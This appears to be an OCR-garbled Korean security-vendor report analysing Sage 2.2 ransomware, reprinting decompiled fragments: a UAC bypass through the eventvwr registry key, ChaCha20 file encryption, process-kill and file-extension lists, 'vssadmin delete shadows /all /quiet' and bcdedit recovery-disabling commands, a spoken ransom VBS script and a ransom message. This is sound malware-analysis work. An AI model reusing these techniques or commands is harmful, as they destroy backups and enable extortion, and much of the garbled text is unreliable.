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You need to pay for us, otherwise we will sell portion of your personal information on black market every 30
minutes. WE GIVE 100% GUARANTEE THAT ALL FILES WILL RESTORE AFTER WE RECEIVE PAYMENT. WE WILL
UNLOCK THE MOBILE DEVICE AND DELETE ALL YOUR DATA FROM OUR SERVER! TURNING OFF YOUR PHONE
IS MEANINGLESS, ALL YOUR DATA IS ALREADY STORED ON OUR SERVERS! WE STILL CAN SELLING IT FOR
SPAM, FAKE, BANK CRIME etc-+ We collect and download all of your personal data. All information about your
social networks, Bank accounts, Credit Cards. We collect all data about your friends and family.
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AEIC =M Hi1A

1.702

Z|Z2 H3210|(WannaCry)S HIZSH CIFsH 24 M%IOEOI E5i611! U= 7124| 7|E sage2.0 HAYI0L] HEQI
sage2.2 BAQ0|7} K|SO R HAT| T QICt sage2 2 2iE|01= sage2.0 THEAUORE= CiEA| o= 2HLAHIO|XIE
XISt ot spora 2AY0Q 20| 2201 AS3IE TSI Cerber TR 20| 24 A| 82 X[EHol=

740] Exoct

—

sage2.2 #Rl0= A HUS Sot FRUOILE & AO|E L2 Al L=EE[= FUHES Soll 20| 0|F0RE A=

gL

0 EMOIM= sage2.2 HERAHE M| ZAJ0lIAL BiTt.

ESTsecurity



(@)
w
12
0
|-.u
M
AI
1z
LE

=
2. AT AN A
2.1 Rj3MNWF3.exe &AM 24

211 ZPH =X 2 XIS 4l S5

SIEL Vista 0[AF] H{EO|AM= UAC(User Account Control)2 E51 Z4EE] Z2|X} AIHoIM S8 T2 73 AlGiS
S5t HOMS =010 QUL [MEtA 2HMR0] HIZKE= Ol2{st Al XSS 25I617| fch, SIXH ASHEl T2 AMAT}

HE X} HSIOZ MME|X| QUUZ B2, eventwwrexe(0[HIE 50| I2H)S S50 HEtS H5310] AlsiTt.

u1 = RegCreateKeyn{HKEY_CURRENT_USER, "Softwaret¥Classestitmscfilettshellttopenttcommand™, &ud);
v = -1;
if  tul )

lstrlenW{1lpString};

RegSetUalueExW{v9, &UalueMame, @, 1u, 1pString, 2 * u3)};
_2;

tul )

[
-
0 nn

RegCloseKey({u9);
GetEnvironmentUariableW{" ¥, &u9, B8z184u);

vi9 = 8;

u5 = HakeStr("%SWHSystemd2titeventuvwr .exe’, &ul);
uiz = "o";
uild = vub;
vi6 = B;
uil = BxhB;
vd = B@x3C;
uvil = B8;
vih = B;
vi5 = B;
iy = B;

L]
vt = ShellExecuteExW(&u9);

[j_EéII 1] et ARS FEO|Qld

[ ) L =T

S A XE 2 E=E ARTZ 0 ZE0| XHSAE Te| HiZ71 | TS ddeitt,

23 T Users' VMY App Data W Roaming WMicrosoft WWindows W 5tart Menu¥Programs ¥ Startup 20170531 2= 217
[ YwidAWU1LInk Linked Unaligned Keypads  Infopulse Inc. c:usersvmWappdata roaming Wzd 0o 79pj exe 2017-04-26 2 831

[ 2 RS A 52

212 4G PCEE TS

S YIEYTS AIZ5HD s 22, X% YEE 2T5p|

SSID(FH HESRA 0IF) EEE F=MAZ TSI

lo Z4& 717] =H2| 4 HERIS2| o O=2||A,

—Ho
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3 oMTE B T

ChS2 UDP YA = AH0| ==tz H0[EE T&ok= Z=0|0 MSE= ALY FR0l= B

’

HotEC

El OIF, ArSAt
A OIF, OEH, CPU 8, 4€ 717|2] 2Z A0, 2k Het 2 0F, S I, 724 X|2| Z=27t

uil2 = (Bx15ALE35 = vl1Z + 1) & B=3FFFF;

{
*kto.sa_data[2] = ((viZ Bx3F3908) << 16) | ={&vis + {(viZ
if { sendto{sock, buf, len, @, &to, 16) == -1 }
{
vl = WSAGetLastError();
if { vl == WSAEHOSTUMREACH && ++u2 > 1080 )
break;
closesocket{sock);
sock = socket{2, 2, 17});

- -

0x3F398u) >> 16));

iF € ((((u12 ~ Bx3F398) << 16) | =(&ui4 + ((u12 ~ Bx3F398u) >> 16))) & OGxFOOODOE0) *- OxFOOOABOD )

72! 3 B0 [Ef 28 2=
213 oiH f=et

O Zg ID &g X A0l AZE 7|
()

I ASSH0f| A, %APPDATAYSHION Ri2[2| 0|52 mi(*tmp)g =E3ICt JYaE Tioll= 2 PCol Al

2ot ID 2 Yselof ABE 717t HFElCt. ZE PC 2l ID 25 Al CURVE25519 Y12|E9= 0x20 37[9] ID e=

AGIC). LhS2 ole| 01 W(*tmp) =& F=2| LFOICY,

(a1l + 64) = 1;

F_ComputeCURUE2L5195ecretiey(&Secretiey);
F_ComputePublicKey({};

F_ComputeSharedSecret(&Shared, &Secretley, HisPublicKey);
F_ComputeSecretKey O(&Shared});

F_ComputePublicKey({};

return B8;

[ 4] 24 D g F=0

2EE D= =2 1= BA TS Z4} 2 8 Base64 2 QZIEH, HIETQ! ZH| QLS Plof

HHE-E X HIERIHA U PC A 712 ALZEC,

@ H|O[E HIO|A 2 T2MA B=

k=

HIO[EfHIO| AR HEtEl T2AMAS B 3l SS5H} SF6k= =X2 HI0E H|0|A(Database) L0] HZ5

t=elE Heo| ol | 2z 22l OiE2 k= T=MA =F0|H,

msftesqgl.exe synctime.exe encsvc.exe

sqglagent.exe mydesktopgos.exe firefoxconfig.exe

ESTsecurity
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sqlbrowser.exe
sqlservr.exe

sqlwriter.exe

agntsvc.exe
isglplussvc.exe

xfssvccon.exe

tbirdconfig.exe
ocomm.exe

mysqld.exe

oracle.exe mydesktopservice.exe mysqgld—nt.exe
ocssd.exe ocautoupds.exe mysqgld-opt.exe
dbsnmp.exe agntsvc.exe dbeng50.exe
sqgbcoreservice.exe
1| BEE=I2NASE
® =77l st

AAE =7 7I5S FE=I010] 258} 0P HEiZ S0k XS WXIGIT,. OIE ffoh LIt 22 BH0=Z =&
M= 7HI[E A[, ‘Windows 2F S L& BA| 17T, 5

HOU
Moy iy
HOU ,7DK5n4hQ . 08416 0CA
<7DkS5n4hQ .ShellExec)

HOU i

HOU ,7DK5n4h0. 00416 0E
Moy ,7DK5N4NQ . 08416128
<7DkSn4hQ.ShellExec>

HOU
O
HOU

,7DK5n4h(]. 00416094 UNICODE “delete shadows /fall /quiet™

UNICODE "vssadmin.exe™

UNICODE
UNICODE

“fset {default} recoveryenabled no"
“bcdedit.exe”

,7DK5n4h(. 00416140
,7Dk5n4h(] . 00416128
[H;IN8 <7DK5n&4hQ.ShellExec>

UNICODE
UNICODE

"/set {default} bootstatuspolicy ignoreallfailures™
“becdedit.exe™

[22 5] 7} 20 S

@ Tress}

23} 517] OV, K2 LA PC OIKIZ RIFBIC 7|5IE 242 312 01 BIZA, FIRIS, Q3240|LY, PXH|7 AL
A5t B2, 2{AI0F ZHEHIOIRI01Z AHEI0] QUK SiiE PO QAS3} L0 TIQISHT S0l 13t 2% Pl
HE0Ig M4st | SRS

int result; //
if { F_CheckLocale B{B8x23u) /f Belarusian HW2}E A
|1 F_CheckLocale_ B(8x3Fu) /7 Kazakh FIAIE
|| F_CheckLocale B{B8x22u) // Ukrainian 232H|Lt
Il F_CheckLocale_ B8(8x43u) /f Uzbek TZEH|F|AE
|1 F_CheckLocale_ B{8x85u) ) F/ Sakha ASH ZER
{
= 1;
»
else
{
= F_CheckLocale 8(B8x19u); /7 Russian 2{A|0}
if )
= F_CheckLocale_8{8x26u) == 8; /f Latwvian Zf=d|0f
e
return ;

ESTsecurity
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?l =7101S ALS0IK| 2= PC 2| 3R, =3l TIdoltt. (sl LIS flol| =t 2210 Reftl= TS AM
A 2 AES ARICE o) e 2f2 |_’F_.7_*8§5 37X fi=et O 2K}, st M|e| W, f=st M2

EAIE0| ZRtStC}. USs} et 2FEAk= TSt 2Lt

wav.mp3.mau.m3u8.m3u.flac.bmp xlk vhdx tibs tib spi spf jpvhd pfi phbf pbd pag .old .obk .npf mrimg gbp .gbm ebk .cbu .c004 .c003 .c002.c001 .c000 b
kf bk2 bif bif bak’ baké bak3 bak2 bak1 bak backupdb back .adi.010.009 .008.007 .006.005.004 .003.002.001 xax xeq xdi xaa wmf whk whcat wyr.
wp vdf ve8 vc7 veb vopf v30 .uot .uop .umv.ul12.u11.u10.u08 trm tmd thr ifx ta2 str .stm ssg .skg .seam shf shd .she .saj il w2 reb ra .axf.qwmo .quo .q
pg .gmif gem .qdfx bz .gbmd.g43 .09 .q08.q07 .q06 prpr pp5 pp4 pls pg .pd6 dif.op .oet .ocr .obi nrg.nl2 .nd .nba .43 .myox.mye .mx0.ms11.mrg.ml.
mone.mnp.mne mic.meta.mem.mef mds .mbsh .mac.m16. m14.m11 .m10 log.lId lhr let dr ldc kmo kd3 kb7 jsda.itf iso ipg.inx.int?.ini indt indl .idml .ib
an.i2b.i05.i04.i03.i02.i01 hts .h12.h11 h10.gsf.gsb .gpc.gnc.gem fyc b &1 X0 ful fef fer fopr fopa fea fa2 fal ets.etq.esv.esk ert .egb epb epa.ent . em
d efsl efs ec8.ebq.ebd .ebc.dwf .dvd dtau defx dat .dac .cur cue .css .cso .cpw cpbdf .ant .amd .ch .cgn g .fdi .9 .8 .cb cat btif bpdx .bin .bd3 bd2 b9 b8 b
at b5i awd ati.arv.amj .afm .aepx.adp .acm.adi.acc.ac2 .aa._ve.500 .4dd 3pe.3me.210.13t.11t.10t.09t.09i 08i .07i.07g .00c xhitm wmv wma vob .mm png
Jpdf mpg mpeg mpe.mpa.mp4 .mp2 mov.mky.mhtm.mav.m4a.m jpg joeg jp2 .html gif fiv.divu djv .avi .asf .aac.3gp .3g2 .264 wiv jtv va .eye dwr .camrec
fjp vmxf vmx vmsd vmdk vhd vdi vbox .ged .qcow2qcow .hdd Zipx zip tgz tar s7z 1z rar |z gz cab bz2 arj arc ace .7z wdseml thp tok thi tbb tab slt shib .p
st p7z p7s .ost .0ab msg.msf msh mozeml .mim mfimbox .mar.mab Idif Idi fix.eml .email .ebi.abd xml Xlw xitx xtim Xt Xlsx xlsm xlsh Xls Xlr Xim xll Xlc Xla
m xla.wps wpd wks wikéd Wk3 wk1 wh2 vf xt fext sxw .sxm .sxi sxd .sxc stw sti std st slk sldx sldm .shw it .rss .pptx pptm . pptf ppt ppsx .ppsm.pps pp
am potx.potm pot per ot .ots .otp .otg .odt .ods .odp .odm .odg .odc.mws hwp gfi ess .eps efx dotx.dotm dot .docx .docm .doch doc dif csv .antk .cht .cal .123.
vbs vb b py pl.php.pas lua jsp json js java jar.hpp .h fla.cs cop .cass .ad .c.asx .asp.asm.as3.as yuv xpm xcf x3f wpg wi vsd tif tpl iff tif tga .swf svg sif s
12 slp set ses .sct .sch 512 rpf 1if raw raf r3d jpxa pve ptx psp psd ps .pom prf prel ppj .ppf por pns .pmd plt plb pic.pfb jpdd jpex pt ped pat p7m .orf .npc.n
ef nap mml.mmb .mid .met.mda.md.max.m15.m12 lin df lcd lay6 lay kdc jsd jng.ipe.indd .imp img.iff ico fipx fon fmv ens emp dxf .dwg dil .dtd dsf dsb
ds4 drw.dng dip dds dcr.dch . d07 csl.cpx .cpt

amx.dk.cgm.cdx.cdt .cdr brd bay .asc .ai.aet .aep .aaf 3ds.3dm.$ac.zka zix zdb wac vnd vmb .usa xf 120 119 #18 17 16 115 #14 413 12 #11 #10
tm tom Hig tdr th2 tax20 tax2 tax19 tax18 tax17 tax16 tax15 fax14 tax13 tax12 tax11 tax10 tax1 tax0 fax tad ta8 tab a5 ta4 tal 199 19 118 117 116
115114 113112 11 10 109 108 07 06 105 104 103 102 t01 00 sic sdy scd sha .say saf .1tp resx.rec.rdy rda.rcs .qwe.qw5 .quic.gtx.gst .gss .gsm.gsd .gp
i gph.gpd .gpb .qob .gnx.gmt .gml.gme .qix qif .ofx .offi .gel .qdt .adf .ach .gby .gbx .gbw .gbr .gbp .gbo .qbmb .gbm .gbk .gbi.gbb .gba .qb2020 .gh2019 .qb2018.
b2017 gb2016.0b2015 .gb2014 qb2013 gb2012 gb2011 .gb2010 gb1.998.q01 .q00 ptk ptdb pth pr5 pré pr3.pr2 pri .pr0 .pma pfd p08.omf ofx ofc
V2 v mwi. mny mn9 mn8.mn7 mn6.mn5 . mn4 . mn3.mn2 . mn1.mmw .m90.m80.m70 .m60.m50.m40 .m30 . m20 Imr lid \gh kmy inv.intu.iif hsr hif h
bk gto fxr fp9 fp8 fp7 fpb fp5 fpk fp3 fp2 fim 91 190 £81 £80 71 70 f61 f60 f51 50 f41 f40 £31 30 £21 £20 exp .dxi dgc des.ddd .cus coa .chg p cdf.
brw bpw bpf bgt aif acr.ach.ab4.2020.2019.2018.2017.2016.2015.2014.2013.2012 2011 2010 1pe . 1patvc .nni.ml9 mI2 fid sqli sql2 sql1 sl sdf.
sdb pdb .odb myi.myd mib . mdf . mdb .indb .ibd .gdb frm .dbs dbf.db3 .db .accdb pfx.pem p7c.p7b p12 lic key gpg der csr at aes

(2 3| 2S3t ikt FEiRt =52

ChE2 e=sloiM HelEl= T S=0IC

ESTSECUF’H}’ Copyright © 2017 ESTsecurity Corp. All rights reserved. 23



03 4MIAC EM HY
thumbs.db ntuser.ini boot.ini
desktop.ini ntuser.dat.log index.dat
ntuser.dat autoexec.bat BOOTSECT.BAK
I 4] SstH|Q| It
CE2 Y=st M2l e =A1E S=0|Ct
tmp Boot Content.IE5
Temp Windows node_modules
winnt WinSxS All Users
Application Data DriverStore AppData

AppData
ProgramData
Program Files (x86)
Program Files
$Recycle.Bin
$RECYCLE.BIN
Windows.old
$WINDOWS.~BT
DRIVER

DRIVERS

System Volume Information

League of Legends
steamapps

cache2

httpcache
GAC_MSIL
GAC_32

GOG Games
Games

My Games
Cookies

History.lIE5

ApplicationData
nvidia

intel

Microsoft
System32
Sample Music
Sample Pictures
Sample Videos
Sample Media

Templates

9lo} 22 Mol SXI2H0| ZXfE 42, US3IS FIGIK| QL Ol A
SLESHECIZ MG AAL OF YK oSt S8 £0P7| 4

2 ARE TIUS2 AEE S5} 8 F SHLIQI ChaCha20 ¥112IES
UL LIS Y5t F=O| UO|L

[ 5] 4S5t A2l ZXiE
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i

.I
o |

(@)
w
12
0
|-.u

M
AI

F_ChaCha_Encrypt(&input, lpBuffer, lpBuffer, nHumberOfButesToRead};
if { a2 == a1l && ?'SetFilePointerEx{a2, _ PAIR_ (vi18, v5s), 8, 8) )
goto LABEL_25;
if { *WriteFile{a1, lpBuffer, nHumberOfBytesToRead, &HumberOfBytesWritten, @)
|| nNumberDfBytesToRead t= NumberOfBytesWritten )
{
ui = =53
goto LABEL_3A4;

H
vi1 = {_ PAIR_ {vi11, v?) - nHumberOfBytesToRead) >> 32;

v/ —= nHumberOfBytesToRead;
vid += ~“nHumberO0OfBytesToRead € v6;
vh += nHumberOfBytesToRead;

O3l 7| Y55t s o

selE D2 2***7(}7} ‘sage’ = HATIH A hE DIULHFO= AL, ZE PC 22 D, LY AS3|0| AFZE
=

=1 O

7|, E=0EF7|, ef==t option O] HHARUCE ==t Tl A A E=3712
Sel OO FIAS LIEHHTY,

2= 3t E Data ( 0x0~0x20000 ) + & £Lj|O| E
Signature ( OxSA9EDEAD : 0x4 )
ZEPCE = ID (0x20)

o =0 AFEE 7( 0x20)

HEOUO| F7|( 0x4 )
A= o] 3 7((0x4 )
Blank( 0x8 )
Crypt Algorithm Option( 0x4 )
Signature ( OxSA9EBABE : 0x4 )
Blank( 0x4 )

K

~

(12 § YS3} I 2o

® ZH| UL
Sage HHHA00] ZEE AT ZHIZ Lo/ | Pl Ri=elE TS| 2ot S I AZAL AHS| HiZ=HE,
=0 3=0] E._H’.é.*hﬁ ur%% AT} vbs £ St SEUUE ATt TiE2 1L vbs T=0| LRO0ICY.

Bet f=CreateObject ("Scripting.FileSystemObject")
f.DeleteFile Wscript.ScriptFullName, True

On Error Resume Next

Set v=CreateObject ("sapi.spvoice")
v.Speak"Attention! Attention! This is not a test!"

WScript.Sleep(1500)
v.Speak"2ll you documents, data bases and other important files were encrypted and Windows can not restore them without special software"

v.Speak"User action is required as soon as possible to recover the files"
WScript.Sleep(2000)

[I2 9] S AFRIE
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= L ENfYS EEok= IS0,

FublicDesktopFath = F_GetPublicDesktopPath();
UserDesktopPath = F_GetUserDesktopPath();
UserDocuments = F_GetUserDocumentsPath();

F_CreateRansomHote(UserDocuments, &RansomHoteText,
FublicDocuments = F_GetPublicDocumentsPath();

F_CreateRansomMote{PublicbhesktopPath, &RansomMoteTexk,

8);

F_CreateRansomHote{PublicDocuments, &RansomMoteText, 8)

8)

F_CreateRansomMote(UserDesktopPath, &RansomMoteTexzt, &RansomHotePath);

[0 10 2d-E EE YR T

LESHHIESSIHE 2N ZH(%Temp%)0l e ZA| 2t TRITUC! THHTIX

H] bmp’ LIUZ HASI}

RandHame = F_RandFileName(};

TempPath = F_GetTempPath({);

DesktopBHPPath = HakeSty("%sk%s.bmp™, TempPath, RandHame);
ScreenHeight = GetSystembetrics{SM_CYSCREEN);

Screenlidth = GetSystemMetrics{SHM_CXSCREEHN);

F_CreateKeyReg{HKEY_USERS, 8xF883Fu, 8, F_SetDesktopImageReq};

F_DesktopImage{DesktopBHPFath, RansomHoteText, ScreenWidth, ScreenHeight,

return SystemParametersInfoW{SPI_SETDESKWALLPAPER, 8, DesktopBHPPath, 3u);

wpe

, 14.8, BxEEB8, 8):

Sage 2EY0= Et HE90{2k= THE S01-0| AUCE 0= HIXIAEZ|0| Ol0|2S SE010 ‘sage’ X 'hta” 2K
L5t A= HOIC,

0022 2424 24| 2 XIS4I2 ¥ U METHBICE Ol 2% AAS 22|

if { tresult )

{
u3d = HakeStr{"mshta.exe W"5si" W3B1w, a2);
RegSetUalueW{phkResult, L"._sage', 1u, L"sage.notice", @);

RegSetUalueW{phkResult, &word W16576, 1u, &word W16552, @);
RegSetUalueW{phkResult, L"sage.noticetttshelltopentttcommand™, 1u, v3,

RegSetUalueW{phkResult, L"htafilet#DefaultIcon™, 1u, "%, 8);
F_HeapFree{ui)};
result = RegCloseKey{phkResult};

e

return result;

RegSetUalueW{phkResult, "s", 1u, L"ZWinDirZWisystem32Wtshelld2. dll, 47",

RegSetUalueW{phkResult, "s", 1u, L"%WinDir%Msystem32ishelld2. d11,47",

8);

8);
8);

result = RegCreateKeyExA({HKEY CURRENT USER, “SoftuwareWClasses”, @, 8, B, OxFOB3Fu,

B, &phkResult,

8);

212002 8¥ 7=
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03 &I EM HY

Cha2 HEEUS T Of0|Z0|C,

| e

[ \HELP_S0S.hta HTML 88 == 100KB
5 docx.docxsage SAGE o 12KB
& hwp hwp.sage SAGE mo! 9KB
@ pdf pdfsage SAGE DY 23KB
& rif rtf sage SAGE D 43KB
& tet et sage SAGE Db 1KB
a ®lsx xlsx sage SAGE m aKE
5 Zip.zip.sage CAGE Oy 47KE

[0 13] 2 BRI} QIS5 201

2= YseP TIRHEL HIESHHO| MadE THELP_SOS.hta’ M E S Aol At Akl =531

ZHUES QHLhSIT.

—_

] Decryption Instructions

Lo [els]

| English ‘ ‘ Deutsch ‘ | ltaliano ‘ | Francais ‘ | Espanol ‘ ‘ Norsk ‘ ‘ Portugués

| S| ‘ ‘ Bahasa Melayu | |Turkge | ‘ Tiéng Viét ‘ ‘ %?(f[‘ ‘ Basa Jawa | |.:...-,I§ ‘b‘._q,dl |
alel B .|
o 54 XA
g E 4 gen YT £ZEQof7 SHEA ASoHA BE A2E LENSLICH
OAC{Z QILICH IHY L§SS ICfE QIX|T "SAGE 2.2 Ransomware” 0| =32z L|Ch
e 2lof WXl Eon siEst0] 4 HHE = = AU
g0l & s fFes Y2 "SAGE Decrypter” 2= E9]of2t Zjgl 253 7| /1M 2 AYUCH

DY 28 3 4 U0t FIHGE OE AZSg0E ASSHE 0l 2aEAL Tl 8

"SAGE Decrypter” 4= Eg)j0f 5l &= 8|5 7|= 7§2l HO[X| oA TS & S3lf MM~ 2 = ASHC

http://7giebffnkrjykggd.qlkrwn.com/

http://7giebffnkrjykggd.xcvkjet.net/

m

(72 14 The) =7 Ki e ot
2.4 X7t A

D= Ysept TllE Ol X7t FAeh Y, ARt Z2 O] Ink IfUS AAfeitt. Cis2
2F0]Ct,
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(@)
w
12
0
|-.u
M
AI
1z
LE

vl = S5HGetFolderPathi};
uS = sprintf{"%sWEs.1nk™, vh, v3);

vh = uh;
if ( a3 )
{

result = DeleteFileW{uS);
H

[ 15| R HAR 2=
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O[HHOy| CI= Sag62 2 A= AI‘RXI'OI _9._]1]‘%; oSSt A7l & B 2750 ol_n;l Ho= QU5 A| =253}
HI2O=Z HETQI ZHIE Q75H= sage2.2 HMY0{0|C}, sage2.0 2= CHE2H| sage2.2 OAf= 5120{2 HAE
=23} QS TR 2ZM L AFSAISS| Do/t B S/t A2 EITt,

Eot spora HEAIIXME =2l0 ERS key & F = CRCAHTE EXHSHK| =Lt & LIERIME ZHHE
|20l 2 TE HIAYS ArZol= 7I”S2 EH|:|I7} EQ0IT,

|_I'I

40

MM XEHO 2 HEO| STotl U= U ASAIE F7IXCZE S TS Hiiol0{0F ofH, IHX| == 2Igt
FIoFH0| 2lokK| == OS 2F AT EL0= Zh HTO| HHO0IES FA[oHOF SICt HIYZ HE L= TR0
CHolidi= &1 Al Z=2JoHOF ofal dii S ZlM AL0|E HEHZ FAlSHH 327 1XQ1 HAIS AASIO{0F i,
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04 olie| 2ot Zef

1. SO

M=Z:2 Petya = {017} OL|2} TtR[ZQl 240|m(Wiper) 2H0= BroiX

Tums Out New Petya is Not a Ransomware, It's a Destructive Wiper Malware

Petya 9017} 275k= $300 2 HMDLI= HREE S26ire 2=t 75| Ok A= BIoiRICt Comae
Technologies 2| MEIXIRI Matt Suiche = Petya 2 22{%I HIO[Z{A S EAst Z1t Of= HAU0{7} OF “20|H
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